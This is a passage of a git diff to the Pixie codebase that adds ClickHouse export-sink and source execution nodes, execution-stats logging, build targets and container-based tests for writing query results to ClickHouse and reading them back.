px::CurrentTimeNS()); if (!exec_status.ok()) { LOG(FATAL) << absl::Substitute("Query failed to execute: $0", exec_status.msg()); } + // Get and log execution stats + auto exec_stats_or = result_server.exec_stats(); + if (exec_stats_or.ok()) { + auto exec_stats = exec_stats_or.ConsumeValueOrDie(); + if (exec_stats.has_execution_stats()) { + auto stats = exec_stats.execution_stats(); + LOG(INFO) << "Query Execution Stats:"; + LOG(INFO) << " Bytes processed: " << stats.bytes_processed(); + LOG(INFO) << " Records processed: " << stats.records_processed(); + if (stats.has_timing()) { + LOG(INFO) << " Execution time: " << stats.timing().execution_time_ns() << " ns"; + } + } + + for (const auto& agent_stats : exec_stats.agent_execution_stats()) { + LOG(INFO) << "Agent Execution Stats:"; + LOG(INFO) << " Execution time: " << agent_stats.execution_time_ns() << " ns"; + LOG(INFO) << " Bytes processed: " << agent_stats.bytes_processed(); + LOG(INFO) << " Records processed: " << agent_stats.records_processed(); + } + } + auto output_names = result_server.output_tables(); if (!output_names.size()) { LOG(FATAL) << "Query produced no output tables."; diff --git a/src/carnot/exec/BUILD.bazel b/src/carnot/exec/BUILD.bazel index 3f8732f705a..b7a561dbe20 100644 --- a/src/carnot/exec/BUILD.bazel +++ b/src/carnot/exec/BUILD.bazel @@ -33,6 +33,7 @@ pl_cc_library( ], ), hdrs = [ + "clickhouse_source_node.h", "exec_node.h", "exec_state.h", ], @@ -46,6 +47,7 @@ pl_cc_library( "//src/shared/types:cc_library", "//src/table_store/table:cc_library", "@com_github_apache_arrow//:arrow", + "@com_github_clickhouse_clickhouse_cpp//:clickhouse_cpp", "@com_github_grpc_grpc//:grpc++", "@com_github_opentelemetry_proto//:logs_service_grpc_cc", "@com_github_opentelemetry_proto//:metrics_service_grpc_cc", @@ -300,3 +302,46 @@ pl_cc_test( "@com_github_grpc_grpc//:grpc++_test", ], ) + +pl_cc_test( + name = "clickhouse_source_node_test", + timeout = "long", + srcs = ["clickhouse_source_node_test.cc"], + data = [ + "//src/stirling/source_connectors/socket_tracer/testing/container_images/clickhouse", + ], + tags = [ + "exclusive", + "requires_bpf", + ], + deps = [ + ":cc_library", + ":exec_node_test_helpers", + ":test_utils", + "//src/carnot/planpb:plan_testutils", + "//src/common/testing/test_utils:cc_library", + "@com_github_clickhouse_clickhouse_cpp//:clickhouse_cpp", + ], +) + +pl_cc_test( + name = "clickhouse_export_sink_node_test", + timeout = "long", + srcs = ["clickhouse_export_sink_node_test.cc"], + data = [ + "//src/stirling/source_connectors/socket_tracer/testing/container_images/clickhouse", + ], + tags = [ + "exclusive", + "requires_bpf", + ], + deps = [ + ":cc_library", + ":exec_node_test_helpers", + ":test_utils", + "//src/carnot/plan:cc_library", + "//src/carnot/planpb:plan_pl_cc_proto", + "//src/common/testing/test_utils:cc_library", + "@com_github_clickhouse_clickhouse_cpp//:clickhouse_cpp", + ], +) diff --git a/src/carnot/exec/clickhouse_export_sink_node.cc b/src/carnot/exec/clickhouse_export_sink_node.cc new file mode 100644 index 00000000000..c7000ab99d4 --- /dev/null +++ b/src/carnot/exec/clickhouse_export_sink_node.cc @@ -0,0 +1,210 @@ +/* + * Copyright 2018- The Pixie Authors. + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + * + * SPDX-License-Identifier: Apache-2.0 + */ + +#include "src/carnot/exec/clickhouse_export_sink_node.h" + +#include +#include +#include + +#include +#include +#include +#include "glog/logging.h" +#include "src/carnot/planpb/plan.pb.h" +#include "src/common/base/macros.h" +#include "src/shared/types/typespb/types.pb.h" +#include "src/table_store/table_store.h" + +namespace px { +namespace carnot { +namespace exec { + +// TODO(ddelnano): Defend against columns that don't exist. These should be +// ignored by the Node. + +using table_store::schema::RowBatch; +using table_store::schema::RowDescriptor; + +std::string ClickHouseExportSinkNode::DebugStringImpl() { + return absl::Substitute("Exec::ClickHouseExportSinkNode: $0", plan_node_->DebugString()); +} + +Status ClickHouseExportSinkNode::InitImpl(const plan::Operator& plan_node) { + CHECK(plan_node.op_type() == planpb::OperatorType::CLICKHOUSE_EXPORT_SINK_OPERATOR); + if (input_descriptors_.size() != 1) { + return error::InvalidArgument( + "ClickHouse Export operator expects a single input relation, got $0", + input_descriptors_.size()); + } + + input_descriptor_ = std::make_unique(input_descriptors_[0]); + const auto* sink_plan_node = static_cast(&plan_node); + plan_node_ = std::make_unique(*sink_plan_node); + return Status::OK(); +} + +Status ClickHouseExportSinkNode::PrepareImpl(ExecState*) { return Status::OK(); } + +Status ClickHouseExportSinkNode::OpenImpl(ExecState* /*exec_state*/) { + // Connect to ClickHouse using config from plan node + const auto& config = plan_node_->clickhouse_config(); + + clickhouse::ClientOptions options; + options.SetHost(config.host()); + options.SetPort(config.port()); + options.SetUser(config.username()); + options.SetPassword(config.password()); + options.SetDefaultDatabase(config.database()); + + clickhouse_client_ = std::make_unique(options); + + return Status::OK(); +} + +Status ClickHouseExportSinkNode::CloseImpl(ExecState* exec_state) { + if (sent_eos_) { + return Status::OK(); + } + + LOG(INFO) << absl::Substitute( + "Closing ClickHouseExportSinkNode $0 in query $1 before receiving EOS", plan_node_->id(), + exec_state->query_id().str()); + + return Status::OK(); +} + +Status ClickHouseExportSinkNode::ConsumeNextImpl(ExecState* /*exec_state*/, const RowBatch& rb, + size_t /*parent_index*/) { + // Skip insertion if the batch is empty + if (rb.num_rows() == 0) { + if (rb.eos()) { + sent_eos_ = true; + } + return Status::OK(); + } + + // Build an INSERT query with the data from the row batch + clickhouse::Block block; + + // Create columns based on the column mappings + for (const auto& mapping : plan_node_->column_mappings()) { + auto arrow_col = rb.ColumnAt(mapping.input_column_index()); + int64_t num_rows = arrow_col->length(); + + // Create ClickHouse column based on data type + switch (mapping.column_type()) { + case types::INT64: { + auto col = std::make_shared(); + for (int64_t i = 0; i < num_rows; ++i) { + col->Append(types::GetValueFromArrowArray(arrow_col.get(), i)); + } + block.AppendColumn(mapping.clickhouse_column_name(), col); + break; + } + case types::FLOAT64: { + auto col = std::make_shared(); + for (int64_t i = 0; i < num_rows; ++i) { + col->Append(types::GetValueFromArrowArray(arrow_col.get(), i)); + } + block.AppendColumn(mapping.clickhouse_column_name(), col); + break; + } + case types::STRING: { + auto col = std::make_shared(); + for (int64_t i = 0; i < num_rows; ++i) { + col->Append(types::GetValueFromArrowArray(arrow_col.get(), i)); + } + block.AppendColumn(mapping.clickhouse_column_name(), col); + break; + } + case types::TIME64NS: { + auto col = std::make_shared(9); + for (int64_t i = 0; i < num_rows; ++i) { + int64_t ns_val = types::GetValueFromArrowArray(arrow_col.get(), i); + col->Append(ns_val); + } + block.AppendColumn(mapping.clickhouse_column_name(), col); + break; + } + case types::BOOLEAN: { + auto col = std::make_shared(); + for (int64_t i = 0; i < num_rows; ++i) { + col->Append(types::GetValueFromArrowArray(arrow_col.get(), i) ? 1 : 0); + } + block.AppendColumn(mapping.clickhouse_column_name(), col); + break; + } + case types::UINT128: { + // UINT128 is exported as STRING in "high:low" format to match + // the ClickHouseSourceNode's parsing in clickhouse_source_node.cc + auto col = std::make_shared(); + for (int64_t i = 0; i < num_rows; ++i) { + auto val = types::GetValueFromArrowArray(arrow_col.get(), i); + col->Append(absl::Substitute("$0:$1", absl::Uint128High64(val), absl::Uint128Low64(val))); + } + block.AppendColumn(mapping.clickhouse_column_name(), col); + break; + } + default: + return error::InvalidArgument("Unsupported data type for ClickHouse export: $0", + types::ToString(mapping.column_type())); + } + } + + // Auto-derive event_time from time_ if time_ is present but event_time is not. + // The ClickHouse table schema uses event_time (DateTime64(3), milliseconds) for + // partitioning and ordering, but the Pixie table has time_ (TIME64NS, nanoseconds). + bool has_time_ = false; + bool has_event_time = false; + int time_col_index = -1; + for (const auto& mapping : plan_node_->column_mappings()) { + if (mapping.clickhouse_column_name() == "time_") { + has_time_ = true; + time_col_index = mapping.input_column_index(); + } + if (mapping.clickhouse_column_name() == "event_time") { + has_event_time = true; + } + } + + if (has_time_ && !has_event_time && time_col_index >= 0) { + auto arrow_col = rb.ColumnAt(time_col_index); + int64_t num_rows = arrow_col->length(); + auto event_time_col = std::make_shared(3); + for (int64_t i = 0; i < num_rows; ++i) { + int64_t ns_val = types::GetValueFromArrowArray(arrow_col.get(), i); + // Convert nanoseconds to milliseconds for DateTime64(3) + event_time_col->Append(ns_val / 1000000LL); + } + block.AppendColumn("event_time", event_time_col); + } + + // Insert the block into ClickHouse + clickhouse_client_->Insert(plan_node_->table_name(), block); + + if (rb.eos()) { + sent_eos_ = true; + } + + return Status::OK(); +} + +} // namespace exec +} // namespace carnot +} // namespace px diff --git a/src/carnot/exec/clickhouse_export_sink_node.h b/src/carnot/exec/clickhouse_export_sink_node.h new file mode 100644 index 00000000000..26478afe037 --- /dev/null +++ b/src/carnot/exec/clickhouse_export_sink_node.h @@ -0,0 +1,55 @@ +/* + * Copyright 2018- The Pixie Authors. + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + * + * SPDX-License-Identifier: Apache-2.0 + */ +#pragma once + +#include +#include +#include +#include + +#include "src/carnot/exec/exec_node.h" +#include "src/carnot/planpb/plan.pb.h" +#include "src/common/base/base.h" +#include "src/shared/types/types.h" + +namespace px { +namespace carnot { +namespace exec { + +class ClickHouseExportSinkNode : public SinkNode { + public: + virtual ~ClickHouseExportSinkNode() = default; + + protected: + std::string DebugStringImpl() override; + Status InitImpl(const plan::Operator& plan_node) override; + Status PrepareImpl(ExecState* exec_state) override; + Status OpenImpl(ExecState* exec_state) override; + Status CloseImpl(ExecState* exec_state) override; + Status ConsumeNextImpl(ExecState* exec_state, const table_store::schema::RowBatch& rb, + size_t parent_index) override; + + private: + std::unique_ptr input_descriptor_; + std::unique_ptr clickhouse_client_; + std::unique_ptr plan_node_; +}; + +} // namespace exec +} // namespace carnot +} // namespace px diff --git a/src/carnot/exec/clickhouse_export_sink_node_test.cc b/src/carnot/exec/clickhouse_export_sink_node_test.cc new file mode 100644 index 00000000000..090d8bc651b --- /dev/null +++ b/src/carnot/exec/clickhouse_export_sink_node_test.cc @@ -0,0 +1,468 @@ +/* + * Copyright 2018- The Pixie Authors. + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + * + * SPDX-License-Identifier: Apache-2.0 + */ + +#include "src/carnot/exec/clickhouse_export_sink_node.h" + +#include + +#include +#include +#include +#include +#include +#include + +#include +#include +#include +#include + +#include "src/carnot/exec/test_utils.h" +#include "src/carnot/plan/operators.h" +#include "src/carnot/planpb/plan.pb.h" +#include "src/carnot/udf/registry.h" +#include "src/common/testing/test_utils/container_runner.h" +#include "src/common/testing/testing.h" +#include "src/shared/metadata/metadata_state.h" +#include "src/shared/types/arrow_adapter.h" +#include "src/shared/types/column_wrapper.h" +#include "src/shared/types/types.h" + +namespace px { +namespace carnot { +namespace exec { + +using table_store::schema::RowBatch; +using table_store::schema::RowDescriptor; +using ::testing::_; + +class ClickHouseExportSinkNodeTest : public ::testing::Test { + protected: + static constexpr char kClickHouseImage[] = + "src/stirling/source_connectors/socket_tracer/testing/container_images/clickhouse/clickhouse.tar"; + static constexpr char kClickHouseReadyMessage[] = "Ready for connections"; + static constexpr int kClickHousePort = 9000; + + void SetUp() override { + // Set up function registry and exec state + func_registry_ = std::make_unique("test_registry"); + auto table_store = std::make_shared(); + exec_state_ = std::make_unique( + func_registry_.get(), table_store, MockResultSinkStubGenerator, MockMetricsStubGenerator, + MockTraceStubGenerator, MockLogStubGenerator, sole::uuid4(), nullptr); + + // Start ClickHouse container + clickhouse_server_ = + std::make_unique(px::testing::BazelRunfilePath(kClickHouseImage), + "clickhouse_export_test", kClickHouseReadyMessage); + + std::vector options = { + absl::Substitute("--publish=$0:$0", kClickHousePort), + "--env=CLICKHOUSE_PASSWORD=test_password", + "--network=host", + }; + + ASSERT_OK(clickhouse_server_->Run(std::chrono::seconds{60}, options, {}, true, + std::chrono::seconds{300})); + + // Give ClickHouse time to initialize + std::this_thread::sleep_for(std::chrono::seconds(5)); + + // Create ClickHouse client for verification + SetupClickHouseClient(); + } + + void TearDown() override { + if (client_) { + client_.reset(); + } + } + + void SetupClickHouseClient() { + clickhouse::ClientOptions client_options; + client_options.SetHost("localhost"); + client_options.SetPort(kClickHousePort); + client_options.SetUser("default"); + client_options.SetPassword("test_password"); + client_options.SetDefaultDatabase("default"); + + const int kMaxRetries = 5; + for (int i = 0; i < kMaxRetries; ++i) { + LOG(INFO) << "Attempting to connect to ClickHouse (attempt " << (i + 1) << "/" << kMaxRetries + << ")..."; + try { + client_ = std::make_unique(client_options); + client_->Execute("SELECT 1"); + break; + } catch (const std::exception& e) { + LOG(WARNING) << "Failed to connect: " << e.what(); + if (i < kMaxRetries - 1) { + std::this_thread::sleep_for(std::chrono::seconds(2)); + } else { + throw; + } + } + } + } + + void CreateExportTable(const std::string& table_name) { + try { + client_->Execute(absl::Substitute("DROP TABLE IF EXISTS $0", table_name)); + + client_->Execute(absl::Substitute(R"( + CREATE TABLE $0 ( + time_ DateTime64(9), + hostname String, + count Int64, + latency Float64 + ) ENGINE = MergeTree() + ORDER BY time_ + )", table_name)); + + LOG(INFO) << "Export table created successfully: " << table_name; + } catch (const std::exception& e) { + LOG(ERROR) << "Failed to create export table: " << e.what(); + throw; + } + } + + std::vector> QueryTable(const std::string& query) { + std::vector> results; + + try { + client_->Select(query, [&](const clickhouse::Block& block) { + for (size_t row_idx = 0; row_idx < block.GetRowCount(); ++row_idx) { + std::vector row; + for (size_t col_idx = 0; col_idx < block.GetColumnCount(); ++col_idx) { + auto col = block[col_idx]; + std::string value; + + if (auto int_col = col->As()) { + value = std::to_string((*int_col)[row_idx]); + } else if (auto uint_col = col->As()) { + value = std::to_string((*uint_col)[row_idx]); + } else if (auto float_col = col->As()) { + value = std::to_string((*float_col)[row_idx]); + } else if (auto str_col = col->As()) { + value = (*str_col)[row_idx]; + } else if (auto dt_col = col->As()) { + value = std::to_string((*dt_col)[row_idx]); + } else { + value = ""; + } + + row.push_back(value); + } + results.push_back(row); + } + }); + } catch (const std::exception& e) { + LOG(ERROR) << "Failed to query table: " << e.what(); + throw; + } + + return results; + } + + std::unique_ptr CreatePlanNode( + const std::string& table_name) { + planpb::Operator op; + op.set_op_type(planpb::CLICKHOUSE_EXPORT_SINK_OPERATOR); + auto* ch_op = op.mutable_clickhouse_sink_op(); + + auto* config = ch_op->mutable_clickhouse_config(); + config->set_host("localhost"); + config->set_port(kClickHousePort); + config->set_username("default"); + config->set_password("test_password"); + config->set_database("default"); + + ch_op->set_table_name(table_name); + + // Add column mappings + auto* mapping0 = ch_op->add_column_mappings(); + mapping0->set_input_column_index(0); + mapping0->set_clickhouse_column_name("time_"); + mapping0->set_column_type(types::TIME64NS); + + auto* mapping1 = ch_op->add_column_mappings(); + mapping1->set_input_column_index(1); + mapping1->set_clickhouse_column_name("hostname"); + mapping1->set_column_type(types::STRING); + + auto* mapping2 = ch_op->add_column_mappings(); + mapping2->set_input_column_index(2); + mapping2->set_clickhouse_column_name("count"); + mapping2->set_column_type(types::INT64); + + auto* mapping3 = ch_op->add_column_mappings(); + mapping3->set_input_column_index(3); + mapping3->set_clickhouse_column_name("latency"); + mapping3->set_column_type(types::FLOAT64); + + auto plan_node = std::make_unique(1); + EXPECT_OK(plan_node->Init(op.clickhouse_sink_op())); + + return plan_node; + } + + std::unique_ptr clickhouse_server_; + std::unique_ptr client_; + std::unique_ptr exec_state_; + std::unique_ptr func_registry_; +}; + +TEST_F(ClickHouseExportSinkNodeTest, BasicExport) { + const std::string table_name = "export_test_basic"; + CreateExportTable(table_name); + + auto plan_node = CreatePlanNode(table_name); + + // Define input schema + RowDescriptor input_rd({types::TIME64NS, types::STRING, types::INT64, types::FLOAT64}); + + // Create node tester + auto tester = exec::ExecNodeTester( + *plan_node, RowDescriptor({}), {input_rd}, exec_state_.get()); + + // Create test data + auto rb1 = RowBatchBuilder(input_rd, 2, /*eow*/ false, /*eos*/ false) + .AddColumn({1000000000000000000LL, 2000000000000000000LL}) + .AddColumn({"host1", "host2"}) + .AddColumn({100, 200}) + .AddColumn({1.5, 2.5}) + .get(); + + auto rb2 = RowBatchBuilder(input_rd, 1, /*eow*/ true, /*eos*/ true) + .AddColumn({3000000000000000000LL}) + .AddColumn({"host3"}) + .AddColumn({300}) + .AddColumn({3.5}) + .get(); + + // Send data to sink + tester.ConsumeNext(rb1, 0, 0); + tester.ConsumeNext(rb2, 0, 0); + tester.Close(); + + // Verify data was inserted + auto results = QueryTable(absl::Substitute("SELECT hostname, count, latency FROM $0 ORDER BY time_", table_name)); + + ASSERT_EQ(results.size(), 3); + EXPECT_EQ(results[0][0], "host1"); + EXPECT_EQ(results[0][1], "100"); + EXPECT_THAT(results[0][2], ::testing::StartsWith("1.5")); + + EXPECT_EQ(results[1][0], "host2"); + EXPECT_EQ(results[1][1], "200"); + EXPECT_THAT(results[1][2], ::testing::StartsWith("2.5")); + + EXPECT_EQ(results[2][0], "host3"); + EXPECT_EQ(results[2][1], "300"); + EXPECT_THAT(results[2][2], ::testing::StartsWith("3.5")); +} + +TEST_F(ClickHouseExportSinkNodeTest, EmptyBatch) { + const std::string table_name = "export_test_empty"; + CreateExportTable(table_name); + + auto plan_node = CreatePlanNode(table_name); + + RowDescriptor input_rd({types::TIME64NS, types::STRING, types::INT64, types::FLOAT64}); + + auto tester = exec::ExecNodeTester( + *plan_node, RowDescriptor({}), {input_rd}, exec_state_.get()); + + // Send only EOS batch + auto rb = RowBatchBuilder(input_rd, 0, /*eow*/ true, /*eos*/ true) + .AddColumn({}) + .AddColumn({}) + .AddColumn({}) + .AddColumn({}) + .get(); + + tester.ConsumeNext(rb, 0, 0); + tester.Close(); + + // Verify no data was inserted + auto results = QueryTable(absl::Substitute("SELECT COUNT(*) FROM $0", table_name)); + + ASSERT_EQ(results.size(), 1); + EXPECT_EQ(results[0][0], "0"); +} + +TEST_F(ClickHouseExportSinkNodeTest, MultipleBatches) { + const std::string table_name = "export_test_multiple"; + CreateExportTable(table_name); + + auto plan_node = CreatePlanNode(table_name); + + RowDescriptor input_rd({types::TIME64NS, types::STRING, types::INT64, types::FLOAT64}); + + auto tester = exec::ExecNodeTester( + *plan_node, RowDescriptor({}), {input_rd}, exec_state_.get()); + + // Send multiple batches + for (int i = 0; i < 5; ++i) { + bool is_last = (i == 4); + auto rb = RowBatchBuilder(input_rd, 1, /*eow*/ is_last, /*eos*/ is_last) + .AddColumn({(i + 1) * 1000000000000000000LL}) + .AddColumn({absl::Substitute("host$0", i)}) + .AddColumn({i * 100}) + .AddColumn({i * 1.5}) + .get(); + + tester.ConsumeNext(rb, 0, 0); + } + + tester.Close(); + + // Verify all batches were inserted + auto results = QueryTable(absl::Substitute("SELECT COUNT(*) FROM $0", table_name)); + + ASSERT_EQ(results.size(), 1); + EXPECT_EQ(results[0][0], "5"); + + // Verify data order + auto ordered_results = QueryTable(absl::Substitute("SELECT hostname FROM $0 ORDER BY time_", table_name)); + + ASSERT_EQ(ordered_results.size(), 5); + for (int i = 0; i < 5; ++i) { + EXPECT_EQ(ordered_results[i][0], absl::Substitute("host$0", i)); + } +} + +TEST_F(ClickHouseExportSinkNodeTest, UINT128Export) { + const std::string table_name = "export_test_uint128"; + + // Create table with String column for UUID + try { + client_->Execute(absl::Substitute("DROP TABLE IF EXISTS $0", table_name)); + + client_->Execute(absl::Substitute(R"( + CREATE TABLE $0 ( + time_ DateTime64(9), + upid String, + hostname String, + value Int64 + ) ENGINE = MergeTree() + ORDER BY time_ + )", table_name)); + + LOG(INFO) << "UINT128 export table created successfully: " << table_name; + } catch (const std::exception& e) { + LOG(ERROR) << "Failed to create UINT128 export table: " << e.what(); + throw; + } + + // Create plan node for UINT128 test + planpb::Operator op; + op.set_op_type(planpb::CLICKHOUSE_EXPORT_SINK_OPERATOR); + auto* ch_op = op.mutable_clickhouse_sink_op(); + + auto* config = ch_op->mutable_clickhouse_config(); + config->set_host("localhost"); + config->set_port(kClickHousePort); + config->set_username("default"); + config->set_password("test_password"); + config->set_database("default"); + + ch_op->set_table_name(table_name); + + // Add column mappings + auto* mapping0 = ch_op->add_column_mappings(); + mapping0->set_input_column_index(0); + mapping0->set_clickhouse_column_name("time_"); + mapping0->set_column_type(types::TIME64NS); + + auto* mapping1 = ch_op->add_column_mappings(); + mapping1->set_input_column_index(1); + mapping1->set_clickhouse_column_name("upid"); + mapping1->set_column_type(types::UINT128); + + auto* mapping2 = ch_op->add_column_mappings(); + mapping2->set_input_column_index(2); + mapping2->set_clickhouse_column_name("hostname"); + mapping2->set_column_type(types::STRING); + + auto* mapping3 = ch_op->add_column_mappings(); + mapping3->set_input_column_index(3); + mapping3->set_clickhouse_column_name("value"); + mapping3->set_column_type(types::INT64); + + auto plan_node = std::make_unique(1); + EXPECT_OK(plan_node->Init(op.clickhouse_sink_op())); + + // Define input schema + RowDescriptor input_rd({types::TIME64NS, types::UINT128, types::STRING, types::INT64}); + + // Create node tester + auto tester = exec::ExecNodeTester( + *plan_node, RowDescriptor({}), {input_rd}, exec_state_.get()); + + // Create test UUIDs + auto uuid1 = sole::uuid4(); + auto uuid2 = sole::uuid4(); + auto uuid3 = sole::uuid4(); + + absl::uint128 upid1 = absl::MakeUint128(uuid1.ab, uuid1.cd); + absl::uint128 upid2 = absl::MakeUint128(uuid2.ab, uuid2.cd); + absl::uint128 upid3 = absl::MakeUint128(uuid3.ab, uuid3.cd); + + // Create test data with UINT128 values + auto rb1 = RowBatchBuilder(input_rd, 2, /*eow*/ false, /*eos*/ false) + .AddColumn({1000000000000000000LL, 2000000000000000000LL}) + .AddColumn({upid1, upid2}) + .AddColumn({"host1", "host2"}) + .AddColumn({100, 200}) + .get(); + + auto rb2 = RowBatchBuilder(input_rd, 1, /*eow*/ true, /*eos*/ true) + .AddColumn({3000000000000000000LL}) + .AddColumn({upid3}) + .AddColumn({"host3"}) + .AddColumn({300}) + .get(); + + // Send data to sink + tester.ConsumeNext(rb1, 0, 0); + tester.ConsumeNext(rb2, 0, 0); + tester.Close(); + + // Verify data was inserted and UINT128 values were converted to UUID strings + auto results = QueryTable(absl::Substitute("SELECT upid, hostname, value FROM $0 ORDER BY time_", table_name)); + + ASSERT_EQ(results.size(), 3); + + // Check that UINT128 values were converted to valid UUID strings + EXPECT_EQ(results[0][0], uuid1.str()); + EXPECT_EQ(results[0][1], "host1"); + EXPECT_EQ(results[0][2], "100"); + + EXPECT_EQ(results[1][0], uuid2.str()); + EXPECT_EQ(results[1][1], "host2"); + EXPECT_EQ(results[1][2], "200"); + + EXPECT_EQ(results[2][0], uuid3.str()); + EXPECT_EQ(results[2][1], "host3"); + EXPECT_EQ(results[2][2], "300"); +} + +} // namespace exec +} // namespace carnot +} // namespace px diff --git a/src/carnot/exec/clickhouse_source_node.cc b/src/carnot/exec/clickhouse_source_node.cc new file mode 100644 index 00000000000..a27e4363a12 --- /dev/null +++ b/src/carnot/exec/clickhouse_source_node.cc @@ -0,0 +1,725 @@ +/* + * Copyright 2018- The Pixie Authors. + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + * + * SPDX-License-Identifier: Apache-2.0 + */ + +#include "src/carnot/exec/clickhouse_source_node.h" + +#include +#include +#include +#include + +#include +#include + +#include "src/carnot/planpb/plan.pb.h" +#include "src/common/base/base.h" +#include "src/shared/types/arrow_adapter.h" +#include "src/shared/types/types.h" + +namespace px { +namespace carnot { +namespace exec { + +std::string ClickHouseSourceNode::DebugStringImpl() { + return absl::Substitute("Exec::ClickHouseSourceNode: ", base_query_, + output_descriptor_->DebugString()); +} + +Status ClickHouseSourceNode::InitImpl(const plan::Operator& plan_node) { + CHECK(plan_node.op_type() == planpb::OperatorType::CLICKHOUSE_SOURCE_OPERATOR); + const auto* source_plan_node = static_cast(&plan_node); + + // Copy the plan node to local object + plan_node_ = std::make_unique(*source_plan_node); + + // Extract connection parameters from plan node + host_ = plan_node_->host(); + port_ = plan_node_->port(); + username_ = plan_node_->username(); + password_ = plan_node_->password(); + database_ = plan_node_->database(); + base_query_ = plan_node_->query(); + batch_size_ = plan_node_->batch_size(); + streaming_ = plan_node_->streaming(); + + // Initialize cursor state + current_offset_ = 0; + has_more_data_ = true; + current_block_index_ = 0; + + // Extract time filtering parameters from plan node + timestamp_column_ = plan_node_->timestamp_column(); + partition_column_ = plan_node_->partition_column(); + + // Convert start/end times from nanoseconds to seconds for ClickHouse DateTime + if (plan_node_->start_time() > 0) { + start_time_ = plan_node_->start_time() / 1000000000LL; // Convert ns to seconds + } + if (plan_node_->end_time() > 0) { + end_time_ = plan_node_->end_time() / 1000000000LL; // Convert ns to seconds + } + + return Status::OK(); +} + +Status ClickHouseSourceNode::PrepareImpl(ExecState*) { return Status::OK(); } + +Status ClickHouseSourceNode::OpenImpl(ExecState*) { + // Create ClickHouse client + clickhouse::ClientOptions options; + options.SetHost(host_); + options.SetPort(port_); + options.SetUser(username_); + options.SetPassword(password_); + options.SetDefaultDatabase(database_); + + try { + client_ = std::make_unique(options); + } catch (const std::exception& e) { + return error::Internal("Failed to create ClickHouse client: $0", e.what()); + } + + return Status::OK(); +} + +Status ClickHouseSourceNode::CloseImpl(ExecState*) { + client_.reset(); + current_batch_blocks_.clear(); + + // Reset cursor state + current_offset_ = 0; + current_block_index_ = 0; + has_more_data_ = true; + + return Status::OK(); +} + +StatusOr ClickHouseSourceNode::ClickHouseTypeToPixieType( + const clickhouse::TypeRef& ch_type) { + const auto& type_name = ch_type->GetName(); + + // Integer types - Pixie only supports INT64 + if (type_name == "UInt8" || type_name == "UInt16" || type_name == "UInt32" || + type_name == "UInt64" || type_name == "Int8" || type_name == "Int16" || + type_name == "Int32" || type_name == "Int64") { + return types::DataType::INT64; + } + + // UInt128 + if (type_name == "UInt128") { + return types::DataType::UINT128; + } + + // Floating point types - Pixie only supports FLOAT64 + if (type_name == "Float32" || type_name == "Float64") { + return types::DataType::FLOAT64; + } + + // String types + if (type_name == "String" || type_name == "FixedString") { + return types::DataType::STRING; + } + + // Date/time types + if (type_name == "DateTime" || type_name.find("DateTime64") == 0) { + return types::DataType::TIME64NS; + } + + // Boolean + if (type_name == "Bool") { + return types::DataType::BOOLEAN; + } + + return error::InvalidArgument("Unsupported ClickHouse type: $0", type_name); +} + +StatusOr> ClickHouseSourceNode::ConvertClickHouseBlockToRowBatch( + const clickhouse::Block& block, bool /*is_last_block*/) { + auto num_rows = block.GetRowCount(); + auto num_cols = block.GetColumnCount(); + + // Create output row descriptor if this is the first block + if (current_block_index_ == 0) { + std::vector col_types; + for (size_t i = 0; i < num_cols; ++i) { + PX_ASSIGN_OR_RETURN(auto pixie_type, ClickHouseTypeToPixieType(block[i]->Type())); + col_types.push_back(pixie_type); + } + // Note: In a real implementation, we would get column names from the plan + // or from ClickHouse metadata + } + + auto row_batch = std::make_unique(*output_descriptor_, num_rows); + + // Convert each column + for (size_t col_idx = 0; col_idx < num_cols; ++col_idx) { + const auto& ch_column = block[col_idx]; + const auto& type_name = ch_column->Type()->GetName(); + + // Check what the expected output type is for this column + auto expected_type = output_descriptor_->type(col_idx); + + // For now, implement conversion for common types + // This is where column type inference happens + + // Special case: String in ClickHouse that should be UINT128 in Pixie + if (type_name == "String" && expected_type == types::DataType::UINT128) { + auto typed_col = ch_column->As(); + auto builder = types::MakeArrowBuilder(types::DataType::UINT128, arrow::default_memory_pool()); + PX_RETURN_IF_ERROR(builder->Reserve(num_rows)); + + for (size_t i = 0; i < num_rows; ++i) { + std::string value(typed_col->At(i)); + + // Parse "high:low" format + size_t colon_pos = value.find(':'); + if (colon_pos == std::string::npos) { + return error::InvalidArgument("Invalid UINT128 string format: $0 (expected high:low)", value); + } + + uint64_t high = std::stoull(value.substr(0, colon_pos)); + uint64_t low = std::stoull(value.substr(colon_pos + 1)); + absl::uint128 uint128_val = absl::MakeUint128(high, low); + + PX_RETURN_IF_ERROR(table_store::schema::CopyValue(builder.get(), uint128_val)); + } + + std::shared_ptr array; + PX_RETURN_IF_ERROR(builder->Finish(&array)); + PX_RETURN_IF_ERROR(row_batch->AddColumn(array)); + + continue; + } + + // Integer types - all map to INT64 in Pixie + + // TODO(ddelnano): UInt8 is a special case since it can map to Pixie's boolean type. + // Figure out how to handle that properly + if (type_name == "UInt8") { + auto typed_col = ch_column->As(); + arrow::BooleanBuilder builder; + PX_RETURN_IF_ERROR(builder.Reserve(num_rows)); + for (size_t i = 0; i < num_rows; ++i) { + builder.UnsafeAppend(typed_col->At(i) != 0); + } + std::shared_ptr array; + 